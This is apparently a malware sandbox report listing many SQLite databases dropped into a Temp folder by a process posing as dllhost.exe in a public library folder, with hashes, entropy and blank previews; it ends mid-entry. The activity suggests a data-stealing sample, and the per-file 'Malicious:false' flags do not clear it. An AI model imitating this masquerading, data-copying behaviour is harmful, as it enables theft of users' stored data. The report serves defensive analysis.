                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\B5o0Oj6lYq

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\BP37SsOfPh

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\BUTKPrb2XC

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\BfPuSAZFZC

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\BwG4NJ1BCN

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\CFtvjMhaB7

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\CQ35dLKSEF

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Cbb7flGfSW

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\CcarJ7lUkJ

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\CgnbUKl93W

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\D5MlhCffhK

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\DAOlTZIw5N

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\DavIUQZ5QW

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\DqDhWWeq1F

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\E0BH6a0baN

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\ESuzLffrw4

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\EUCTYmGrE8

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\EUqS6AIbAj

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\EYOQkJc26u

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\EkdRl17Clp

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Eptnays3df

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
